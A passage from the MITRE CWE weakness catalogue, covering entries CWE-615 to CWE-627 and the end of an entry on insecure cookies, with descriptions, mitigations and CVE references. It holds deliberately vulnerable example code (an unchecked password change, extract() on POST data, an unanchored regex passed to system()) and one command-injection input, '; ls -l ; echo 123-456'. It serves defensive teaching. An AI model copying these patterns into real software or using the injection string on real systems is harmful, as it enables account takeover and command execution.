The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	311	Missing Encryption of Sensitive Data	686

Applicable Platforms

Technology : Web Based *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Always set the secure attribute when the cookie should sent via HTTPS only.

Demonstrative Examples

Example 1:

The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).

Example Language: Java *(bad)*

```
Cookie c = new Cookie(ACCOUNT_ID, acctID);
response.addCookie(c);
```

Observed Examples

Reference	Description
CVE-2004-0462	A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0462*
CVE-2008-3663	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3663*
CVE-2008-3662	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3662*
CVE-2008-0128	A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0128*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	1943

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
102	Session Sidejacking

CWE-615: Inclusion of Sensitive Information in Source Code Comments

Weakness ID : 615 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

Extended Description

An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1113
PeerOf	V	546	Suspicious Comment	1118

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Distribution

Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

Demonstrative Examples

Example 1:

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

Example Language: JSP *(bad)*

```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Observed Examples

Reference	Description
CVE-2007-6197	Version numbers and internal hostnames leaked in HTML comments. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6197*
CVE-2007-4072	CMS places full pathname of server in HTML comment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4072*
CVE-2009-2431	blog software leaks real username in HTML comment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2431*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

Weakness ID : 616 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

Extended Description

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758
PeerOf	V	473	PHP External Variable Modification	1005

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Use PHP 4 or later.

Phase: Architecture and Design

If you must support older PHP versions, write your own version of is_uploaded_file() and run it against $HTTP_POST_FILES['userfile']))

Phase: Implementation

For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.

Demonstrative Examples

Example 1:

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

Example Language: PHP *(bad)*

```
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

Example 2:

"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

Example Language: PHP *(bad)*

```
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

** note: 'userfile' is the field name from the web form; this can vary.

Observed Examples

Reference	Description
CVE-2002-1460	Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1460*
CVE-2002-1759	Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as $_POST. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1759*
CVE-2002-1710	Product does not distinguish uploaded file from other files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1710*

CWE-617: Reachable Assertion

Weakness ID : 617 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

Extended Description

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service.

For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Resultant :

Alternate Terms

assertion failure :

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.*	

Potential Mitigations

Phase: Implementation

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

Phase: Implementation

Strategy = Input Validation

Perform input validation on user data.

Demonstrative Examples

Example 1:

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

Example Language: Java *(bad)*

```
String email = request.getParameter("email_address");
assert email != null;
```

Observed Examples

Reference	Description
CVE-2006-6767	FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6767*
CVE-2006-6811	Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6811*
CVE-2006-5779	Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5779*
CVE-2006-4095	Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4095*
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4574*

Software Fault Patterns	SFP3		Use of an improper API

CWE-618: Exposed Unsafe ActiveX Method

Weakness ID : 618 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

Extended Description

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	749	Exposed Dangerous Method or Function	1377
PeerOf	V	623	Unsafe ActiveX Control Marked Safe For Scripting	1234

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	1857

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Implementation

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

Phase: Architecture and Design

Use code signing, although this does not protect against any weaknesses that are already in the control.

Phase: Architecture and Design

Phase: System Configuration

Where possible, avoid marking the control as safe for scripting.

Observed Examples

Reference	Description
CVE-2007-1120	download a file to arbitrary folders. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1120*
CVE-2006-6838	control downloads and executes a url in a parameter *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6838*

CWE-619: Dangling Database Cursor ('Cursor Injection')

Weakness ID : 619 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."

Extended Description

For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	875
CanFollow	B	404	Improper Resource Shutdown or Release	877

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary : This could be primary when the programmer never attempts to close the cursor when finished with it.

Resultant :

Applicable Platforms

Language : SQL *(Prevalence = Undetermined)*

Background Details

A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Implementation

Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-620: Unverified Password Change

Weakness ID : 620 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

Extended Description

This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

Phase: Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

Demonstrative Examples

Example 1:

This code changes a user's password.

Example Language: PHP *(bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
   SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Observed Examples

Reference	Description
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0681*
CVE-2000-0944	Web application password change utility doesn't check the original password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0944*

CWE-621: Variable Extraction Error

Weakness ID : 621 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

Extended Description

For example, in PHP, extraction can be used to provide functionality similar to register_globals, a dangerous functionality that is frequently disabled in production systems. Calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	1589
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	999

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Alternate Terms

Variable overwrite :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Use allowlists of variable names that can be extracted.

Phase: Implementation

Consider refactoring your code to avoid extraction routines altogether.

Phase: Implementation

In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.

Demonstrative Examples

Example 1:

This code uses the credentials sent in a POST request to login a user.

Example Language: PHP *(bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

Reference	Description
CVE-2006-7135	extract issue enables file inclusion *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7135*

Reference	Description
CVE-2006-7079	extract used for register_globals compatibility layer, enables path traversal *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7079*
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0649*
CVE-2006-6661	extract() enables static code injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6661*
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2828*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Probably under-reported for PHP. Under-studied for other interpreted languages.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-622: Improper Validation of Function Hook Arguments

Weakness ID : 622 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.

Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Ensure that all arguments are verified, as defined by the API you are protecting.

Phase: Architecture and Design

Drop privileges before invoking such functions, if possible.

Observed Examples

Reference	Description
CVE-2007-0708	DoS in firewall using standard Microsoft functions *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0708*
CVE-2006-7160	DoS in firewall using standard Microsoft functions *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7160*
CVE-2007-1376	function does not verify that its argument is the proper type, leading to arbitrary memory write *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1376*
CVE-2007-1220	invalid syscall arguments bypass code execution limits *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1220*
CVE-2006-4541	DoS in IDS via NULL argument *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4541*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

Weakness ID : 623 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

Extended Description

This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ChildOf	B	267	Privilege Defined With Unsafe Actions	583
PeerOf	B	618	Exposed Unsafe ActiveX Method	1226

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

During development, do not mark it as safe for scripting.

Phase: System Configuration

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.

Observed Examples

Reference	Description
CVE-2007-0617	control allows attackers to add malicious email addresses to bypass spam limits *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0617*
CVE-2007-0219	web browser uses certain COM objects as ActiveX *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0219*
CVE-2006-6510	kiosk allows bypass to read files *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6510*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	978	SFP Secondary Cluster: Implementation	888	1948

Notes

Research Gap

It is suspected that this is under-reported.

CWE-624: Executable Regular Expression Error

Weakness ID : 624 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Extended Description

Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	136

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.

Observed Examples

Reference	Description
CVE-2006-2059	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2059*
CVE-2005-3420	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3420*
CVE-2006-2878	Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2878*
CVE-2006-2908	Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2908*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-625: Permissive Regular Expression

Weakness ID : 625 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

- not identifying the beginning and end of the target string
- using wildcards instead of acceptable character ranges
- others

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	185	Incorrect Regular Expression	429
ParentOf	V	777	Regular Expression without Anchors	1443
PeerOf	B	183	Permissive List of Allowed Inputs	424
PeerOf	B	184	Incomplete List of Disallowed Inputs	425
PeerOf	V	187	Partial String Comparison	432

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Perl *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Perl *(bad)*

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Observed Examples

Reference	Description
CVE-2006-1895	".*" regexp leads to static code injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1895*
CVE-2002-2175	insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2175*

Reference	Description
CVE-2006-4527	regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4527*
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1949*
CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2109*
CVE-2006-6511	regexp in .htaccess file allows access of files whose names contain certain substrings *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6511*
CVE-2006-6629	allow load of macro files whose names contain certain substrings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6629*

CWE-626: Null Byte Interaction Error (Poison Null Byte)

Weakness ID : 626 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	436	Interpretation Conflict	944
ChildOf	V	147	Improper Neutralization of Input Terminators	357

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

Remove null bytes from all incoming strings.

Observed Examples

Reference	Description
CVE-2005-4155	NUL byte bypasses PHP regular expression check *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4155*
CVE-2005-3153	inserting SQL after a NUL byte bypasses allowlist regexp, enabling SQL injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3153*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Terminology

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

Research Gap

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

CWE-627: Dynamic Variable Evaluation

Weakness ID : 627 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

